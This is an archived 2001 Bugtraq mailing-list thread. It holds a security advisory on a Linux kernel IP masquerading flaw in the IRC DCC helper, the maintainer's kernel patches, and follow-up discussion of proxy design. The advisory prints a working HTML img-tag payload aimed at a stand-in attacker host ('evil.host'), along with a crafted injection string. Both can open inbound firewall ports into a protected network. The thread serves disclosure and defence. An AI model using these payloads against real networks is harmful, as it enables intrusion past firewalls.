6817230 2001-07-30 12:49 -0400  /187 rader/ Michal Zalewski <lcamtuf@razor.bindview.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-30  19:09  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18506>
Ärende: [RAZOR] Linux kernel IP masquerading vulnerability
------------------------------------------------------------
From: Michal Zalewski <lcamtuf@razor.bindview.com>
To: bugtraq@securityfocus.com
Message-ID: <Pine.LNX.4.21.0107301249390.747-100000@nimue.bos.bindview.com>


RAZOR Advisory

Author:

  Michal Zalewski <lcamtuf@razor.bindview.com>

Issue Date: 

  July 30, 2001

Topic:

   A remotely exploitable IP masquerading vulnerability in the Linux
   kernel can be used to penetrate protected private networks.

Affected Platforms:

   Linux 2.0, Linux 2.2, and possibly other systems

Details:

   There was a discussion last year that detailed exploiting NAT
   packet inspection mechanisms on Linux and other operating systems
   by forcing a client's browser or MUA software to send specific
   data patterns without the user's knowledge (see
   http://www.securityfocus.com/archive/82/50226) in order to open an
   inbound TCP port on the firewall. The original advisory by Mikael
   Olsson discussed the FTP masquerading helper vulnerability. When
   found in outbound traffic, the specific pattern sent by the client
   software is interpreted by the firewall as being a legitimate,
   user-initiated transfer request. Certain external systems are then
   temporarily allowed to initiate inbound connections to the
   location specified in the malicious packet by using the firewall
   as a packet forwarder.

   Appropriate (but not necessarily sufficient - see the later
   explainations) workarounds were incorporated in Linux kernels
   released after the original advisory and are now present in
   numerous firewall operating systems.

   Unfortunately, protocols other than those mentioned in the
   original discussions seem to be vulnerable as well. We found that
   IRC DCC helper (the Linux 2.2 ip_masq_irc module, and modules
   shipped with some other operating systems / firewalling software)
   can be exploited with

   <img src="ftp://evil.host:6667/%01DCC%20SEND%20file%20addr%20port">

   or another similar pattern, depending on the helper implementation
   details ("addr" is the internal machine's IP address as a decimal
   integer).

   This sequence can be crafted in an HTML e-mail or on a visited
   webpage. The attacker should listen on tcp port 6667 on the
   specified remote host ("evil.host") and generate valid FTP
   protocol responses.  The attacker will then receive information
   about the port number on the firewall that will be forwarded into
   the protected network. See the discussion in the original advisory
   for more details on this attack.

Workarounds:

   This new NAT server vulnerability related to DCC simply adds to
   the collection of similar vulnerabilities found in various other
   protocols, none of which have been fixed in any comprehensive
   way. In general, the following five types of workarounds might be
   used:

   1) Configure the NAT server to only allow a certain range of ports
   in processed requests. This workaround (only ports above 1024 are
   allowed) is currently implemented by Linux and other vendors.
   Unfortunately, this does not stop attacks or scans against any of
   the other thousands of high-port services - among the most
   significant of these are NFS, X11, Microsoft SQL Server, various
   RPC services, various HTTP proxy/cache services, and various
   remote management/diagnostic services.

   2) Have the firewall do more careful inspection of protocol
   traffic.  This could identify and block noncompliant IRC client
   behavior, such as the behavior of an HTML e-mail client when
   accessing an ftp URL.  Unfortunately, this requires very careful
   protocol tracking, and can be fooled by careful URL construction
   (e.g., passing the following string as the ftp username:
   "evilhacker%20+iw%20evilhacker%20evilhacker%0d%0anick%20hacker")
   and response fragmentation, or by using a Java applet.

   3) Use a personal firewall (e.g., ZoneAlarm) on the internal
   machine that asks for user verification before connecting to an
   unusual port (6667) or before accepting suspected forwarded
   connections. Suitable personal firewalls may not be available for
   every OS.

   4) Research, design, and develop some way for the NAT server to
   ask the internal user whether he really requested an inbound port
   (e.g., one-time challenge-response authentication).

   5) Don't install helper modules on your NAT server. For any
   protocol that needs a helper, require users to deploy a tunnel
   instead.

Vendor Response/Fix Information:

   Below is a patch against Linux 2.2.20pre kernel written by the IP
   masquerading subsystem maintainer, Juanjo Ciarlante
   <jjo@mendoza.gov.ar>. It is supposed to minimize potential impact
   caused by this vulnerability. Note that it does not completely fix the
   problem (see discussion above).

   Additionally, as suggested by Alexey Kuznetsov
   <kuznet@ms2.inr.ac.ru>, it is possible to limit the potential
   impact by carefully setting output chain rules (note that
   forwarding chain is bypassed by IP current masquerading rules
   table).

--- linux-2.2.20pre/net/ipv4/ip_masq_irc.c.dist Sun Mar 25 13:31:12
2001
+++ linux-2.2.20pre/net/ipv4/ip_masq_irc.c      Fri Jul 27 18:45:29 2001
@@ -38,7 +38,12 @@
  *     /etc/conf.modules (or /etc/modules.conf depending on your config)
  *     where modload will pick it up should you use modload to load your
  *     modules.
- *
+ *
+ * Insecure "back" data channel opening
+ *     The helper does some trivial checks when opening a new DCC data
+ *     channel. Use module parameter
+ *             insecure=1
+ *     ... to avoid this and get previous (pre 2.2.20) behaviour.
  */

 #include <linux/config.h>
@@ -72,6 +77,9 @@

 MODULE_PARM(ports, "1-" __MODULE_STRING(MAX_MASQ_APP_PORTS) "i");

+static int insecure=0;
+MODULE_PARM(insecure, "i");
+

 /*
  * List of supported DCC protocols
@@ -110,6 +118,29 @@
         return 0;
 }

+
+/*
+ *     Ugly workaround [TM] --mummy ... why does this protocol sucks?
+ *
+ *     The <1024 check and same source address just raise the
+ *     security "feeling" => they don't prevent a redirector listening
+ *     in same src address at a higher port; you should protect
+ *     your internal network with ipchains output rules anyway
+ */
+
+static inline int masq_irc_out_check(const struct iphdr *iph, __u32
data_saddr, __u16 data_sport) {
+       int allow=1;
+       /*      Compatibility   */
+       if (insecure)
+               goto out;
+       /*
+        *      Ignore data channel back to other src addr, nor to port < 1024
+        */
+       if (iph->saddr != data_saddr || data_sport < 1024)
+               allow=0;
+out:
+       return allow;
+}
 int
 masq_irc_out (struct ip_masq_app *mapp, struct ip_masq *ms, struct sk_buff **skb_p, __u32 maddr)
 {
@@ -198,6 +229,11 @@

                                s_port =
                                simple_strtoul(data,&data,10);
                                addr_end_p = data;
+
+                               /*      Simple validation       */
+                               if (!masq_irc_out_check(iph, s_addr, s_port))
+                                               /* We may just: return 0; */
+                                       continue;

                                /*      Do we already have a port open for this client?
                                 *      If so, use it (for DCC ACCEPT)
(6817230) /Michal Zalewski <lcamtuf@razor.bindview.com>/(Ombruten)
Kommentar i text 6819138 av Darren Reed <avalon@coombs.anu.edu.au>
Kommentar i text 6819155 av Juanjo Ciarlante <jjo@mendoza.gov.ar>
6819138 2001-07-31 10:27 +1000  /30 rader/ Darren Reed <avalon@coombs.anu.edu.au>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-31  04:21  av Brevbäraren
Extern mottagare: Michal Zalewski <lcamtuf@razor.bindview.com>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18522>
Kommentar till text 6817230 av Michal Zalewski <lcamtuf@razor.bindview.com>
Ärende: Re: [RAZOR] Linux kernel IP masquerading vulnerability
------------------------------------------------------------
From: Darren Reed <avalon@coombs.anu.edu.au>
To: lcamtuf@razor.bindview.com (Michal Zalewski)
Cc: bugtraq@securityfocus.com
Message-ID: <200107310027.KAA08545@cairo.anu.edu.au>

The IRC DCC/CTCP protocol is not at all well suited to any sort of
proxying.  For starters, the "control channel" is a connection to
an IRC server - not the other client with which you wish to connect
to.  This prevents the proxy from having any clues about what the
incoming host's IP address MIGHT be, never mind what it WILL be.

So even if you have a legitimate IRC protocol being snooped on by the
proxy, you still have NO idea about who/what should be allowed to make
an inbound connection.

IF all IRC servers returned COMPLETE information in reponse to queries
such as WHOIS, you could set up an inbound whatever for the expected
source address of the other client.  This does not work universally
because a bunch of servers that have your privacy in mind (*cough*
*splutter*) will hide the first segment of a hostname or last octet
of an IP address.

In short, DCC is much worse than FTP to proxy.  Someone should come up
with a CTCP protocol extension that results in both parties knowing
what the other end of the connection is going to be before any attempt
to make it is made.

Darren
(6819138) /Darren Reed <avalon@coombs.anu.edu.au>/--
6819155 2001-07-30 22:42 -0300  /19 rader/ Juanjo Ciarlante <jjo@mendoza.gov.ar>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-31  04:30  av Brevbäraren
Extern mottagare: BugTraq <bugtraq@securityfocus.com>
Mottagare: Bugtraq (import) <18523>
Kommentar till text 6817230 av Michal Zalewski <lcamtuf@razor.bindview.com>
Ärende: Re: [RAZOR] Linux kernel IP masquerading vulnerability (_actual_ patch)
------------------------------------------------------------
On Mon, Jul 30 2001 12:49:51 Michal Zalewski wrote:
> Topic:
>    A remotely exploitable IP masquerading vulnerability in the Linux
>    kernel can be used to penetrate protected private networks.
> :
> Vendor Response/Fix Information:
> 
> Below is a patch against Linux 2.2.20pre kernel written by the I
> masquerading subsystem maintainer, Juanjo Ciarlante
> ... 
The _actual_ working patch is attached, please apply this one, and of
course read original post by M. Zalewski: 
  http://www.securityfocus.com/archive/1/200361

--JuanJo Ciarlante
Linux IP MASQ 2.2 maintainer
(6819155) /Juanjo Ciarlante <jjo@mendoza.gov.ar>/---
Bilaga (text/plain) i text 6819156
Kommentar i text 6824311 av Darren Reed <avalon@coombs.anu.edu.au>
6819156 2001-07-30 22:42 -0300  /124 rader/ Juanjo Ciarlante <jjo@mendoza.gov.ar>
Importerad: 2001-07-31  04:30  av Brevbäraren
Extern mottagare: BugTraq <bugtraq@securityfocus.com>
Mottagare: Bugtraq (import) <18524>
Bilaga (text/plain) till text 6819155
Ärende: Bilaga till: Re: [RAZOR] Linux kernel IP masquerading vulnerability (_actual_ patch)
------------------------------------------------------------
--- linux/net/ipv4/ip_masq_irc.c.dist	Sun Mar 25 13:31:12 2001
+++ linux/net/ipv4/ip_masq_irc.c	Mon Jul 30 13:29:49 2001
@@ -22,6 +22,7 @@
  *	  <sshore@escape.ca>
  *	Scottie Shore		:  added support for mIRC DCC resume negotiation
  *	  <sshore@escape.ca>
+ *	Juan Jose Ciarlante	:  src addr/port checking for better security (spotted by Michal Zalewski)
  *
  *	This program is free software; you can redistribute it and/or
  *	modify it under the terms of the GNU General Public License
@@ -38,7 +39,12 @@
  *	/etc/conf.modules (or /etc/modules.conf depending on your config)
  *	where modload will pick it up should you use modload to load your
  *	modules.
- *	
+ *
+ * Insecure "back" data channel opening
+ * 	The helper does some trivial checks when opening a new DCC data
+ * 	channel. Use module parameter
+ * 		insecure=1
+ *	... to avoid this and get previous (pre 2.2.20) behaviour.
  */
 
 #include <linux/config.h>
@@ -72,6 +78,9 @@
 
 MODULE_PARM(ports, "1-" __MODULE_STRING(MAX_MASQ_APP_PORTS) "i");
 
+static int insecure=0;
+MODULE_PARM(insecure, "i");
+
 
 /*
  * List of supported DCC protocols
@@ -110,6 +119,30 @@
         return 0;
 }
 
+
+/*
+ * 	Ugly workaround [TM] --mummy ... why does this protocol sucks?
+ *
+ *	The <1024 check and same source address just raise the
+ *	security "feeling" => they don't prevent a redirector
listening
+ *	in same src address at a higher port; you should protect 
+ *	your internal network with ipchains output rules anyway
+ */
+
+static inline int masq_irc_out_check(const struct ip_masq *ms, __u32
data_saddr, __u16 data_sport) {
+	int allow=1;
+
+	IP_MASQ_DEBUG(1-debug, "masq_irc_out_check(
s_addr=%d.%d.%d.%d, data_saddr=%d.%d.%d.%d, data_sport=%d",
+			NIPQUAD(ms->saddr), NIPQUAD(data_saddr), ntohs(data_sport));
+
+	/* 
+	 * 	Ignore data channel back to other src addr, nor to port < 1024
+	 */
+	if (ms->saddr != data_saddr || ntohs(data_sport) < 1024) 
+		allow=0;
+
+	return allow;
+}
 int
 masq_irc_out (struct ip_masq_app *mapp, struct ip_masq *ms, struct sk_buff **skb_p, __u32 maddr)
 {
@@ -118,7 +151,7 @@
 	struct tcphdr *th;
 	char *data, *data_limit;
 	__u32 s_addr;
-	__u16 s_port;
+	__u32 s_port;	/* larger to allow strtoul() return value validation */
 	struct ip_masq *n_ms;
 	char buf[20];		/* "m_addr m_port" (dec base)*/
         unsigned buf_len;
@@ -199,12 +232,25 @@
 				s_port = simple_strtoul(data,&data,10);
 				addr_end_p = data;
 
+				/*	Sanity checks 		*/
+				if (!s_addr || !s_port || s_port > 65535)
+					continue;
+
+				/*	Prefer net order from now on 	*/
+				s_addr = htonl(s_addr);
+				s_port = htons(s_port);
+
+				/* 	Simple validation 	*/
+				if (!insecure && !masq_irc_out_check(ms, s_addr, s_port))
+					/* We may just: return 0; */
+					continue;
+
 				/*	Do we already have a port open for this client?
 				 *	If so, use it (for DCC ACCEPT)
 				 */
 
 				n_ms = ip_masq_out_get(IPPROTO_TCP,
-						htonl(s_addr),htons(s_port),
+						s_addr, s_port,
 						0, 0);
 
 				/*
@@ -216,7 +262,7 @@
 				if (n_ms==NULL)
 					n_ms = ip_masq_new(IPPROTO_TCP,
 							maddr, 0,
-							htonl(s_addr),htons(s_port),
+							s_addr, s_port,
 							0, 0,
 							IP_MASQ_F_NO_DPORT|IP_MASQ_F_NO_DADDR);
 				if (n_ms==NULL)
@@ -236,7 +282,10 @@
 				diff = buf_len - (addr_end_p-addr_beg_p);
 
 				*addr_beg_p = '\0';
-				IP_MASQ_DEBUG(1-debug, "masq_irc_out(): '%s' %X:%X detected (diff=%d)\n", dcc_p, s_addr,s_port, diff);
+				IP_MASQ_DEBUG(1-debug, "masq_irc_out(): '%s' %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d detected (diff=%d)\n", dcc_p, 
+					NIPQUAD(s_addr), htons(s_port), 
+					NIPQUAD(n_ms->maddr), htons(n_ms->mport), 
+					diff);
 
 				/*
 				 *	No shift.
(6819156) /Juanjo Ciarlante <jjo@mendoza.gov.ar>/(Ombruten)
6824311 2001-07-31 16:10 +1000  /97 rader/ Darren Reed <avalon@coombs.anu.edu.au>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-31  22:07  av Brevbäraren
Extern mottagare: Juanjo Ciarlante <jjo@mendoza.gov.ar>
Extern kopiemottagare: BugTraq <bugtraq@securityfocus.com>
Mottagare: Bugtraq (import) <18540>
Kommentar till text 6819155 av Juanjo Ciarlante <jjo@mendoza.gov.ar>
Ärende: Re: [RAZOR] Linux kernel IP masquerading vulnerability (_actual_ patch)
------------------------------------------------------------
From: Darren Reed <avalon@coombs.anu.edu.au>
To: jjo@mendoza.gov.ar (Juanjo Ciarlante)
Cc: bugtraq@securityfocus.com (BugTraq)
Message-ID: <200107310610.QAA21550@cairo.anu.edu.au>

In some mail from Juanjo Ciarlante, sie said:
> 
> + *
> + * Insecure "back" data channel opening
> + * 	The helper does some trivial checks when opening a new DCC data
> + * 	channel. Use module parameter
> + * 		insecure=1
> + *	... to avoid this and get previous (pre 2.2.20) behaviour.
>   */
[..]
> +/*
> + * 	Ugly workaround [TM] --mummy ... why does this protocol sucks?
> + *
> + *	The <1024 check and same source address just raise the
> + *	security "feeling" => they don't prevent a redirector listening
> + *	in same src address at a higher port; you should protect 
> + *	your internal network with ipchains output rules anyway
> + */

The < 1024 is actually a pretty good idea, especially if the client
that is on the receiving end isn't savy enough to do this itself.
Why ?  Well, it stops someone from sending you a DCC message that
connects to a chargen port on some remote server from working.  What
do I mean by that?  Well, the content of the message which advertises
the DCC connection is just text - ^ADCC blah^A - and if you know the
format (pretty basic) you can send it via /msg anyway.  Since the
message is conveyed via IRC, the receiving client has no way of
knowing that the IP address supplied by the offer is actually a
client and not something else.  Since you're checking for < 1024, you
might want to check that the IP address is not in network 127 -
afterall, you _are_ going through a firewall!

I think chargen is the only dangerous port as it's not even a protocol
(which would require ACKs, etc), just straight data, as fast as it can
send.  Unless there is some other server/service like this ?

For DCC file transfers, the proxy should be looking at the size
parameter in the DCC setup message, understand the byte-ack mechanism
(used to throttle transfers) and be able to "close the connection"
when the correct amount of data has been sent.

What other firewalls support this proxy and provide massive holes?

Anyway, to be "firewall friendly" AND "secure", the exchange to setup
a DCC chat or file transfer should be something like this:

clientA: (PRIVMSG to clientB)
PDCC which arg token ipaddressA portnumberA [size]
[at this point the recipient currently does /dcc foo and connects but
 that is not enough]

clientB: (NOTICE to clientA)
PDCC which arg token ipaddressB portnumberB
[this tells clientA where the connection should come from and it would
 be safe in discarding any others, now]

clientA: PDCCACK token (PRIVMSG to clientB)
[clientB is now free to connect to clientA, who prior to sending this,
 should reject any connections to the incoming DCC port]

The "token" is just there to identify a particular exchange.  This is
not meant to be "secure" (use crypto) just firewall/proxy friendly.
I've just thought about this whilst writing this email so don't flame
me if there are glaring problems above O:)  If someone else actually
thinks it'll work, maybe it should be added to ircII for starters..

Now, IF I understand the exploit correctly then there are _serious_
problems in that proxy's validation of messages.  First and foremost
it is _NOT_ checking to make sure it is a complete PRIVMSG as is found
within the IRC protocol.  If it were then the exploit would be more
like:

0x0a:foo PRIVMSG bar :^ADCC params^A0x0d0x0a

And that's ignoring things like it should have seen the client send
a "NICK" command, maybe "PASS" as well as "USER", etc, and even expect
back responses FROM the IRC server indicating that the client had been
able to successfully register BEFORE allowing any DCC proxying.

In short, someone should throw that proxy away and write a real one
and in doing so will make it incredibly hard to force "bad things" to
happen.

The FTP proxy in Linux suffered from a similar problem - it looked
for a "magic string" rather than being "protocol savy".  How many
other firewalls, commercial and not, try take these short cuts and
sacrifice security ?  Is there an IRC/DCC thing for FW-1 ?  Is that
"secure" ?

Darren 

p.s. DCC being such a PITA to proxy safely is why there is no IRC
proxy in any redily available version of IPFilter.
(6824311) /Darren Reed <avalon@coombs.anu.edu.au>/(Ombruten)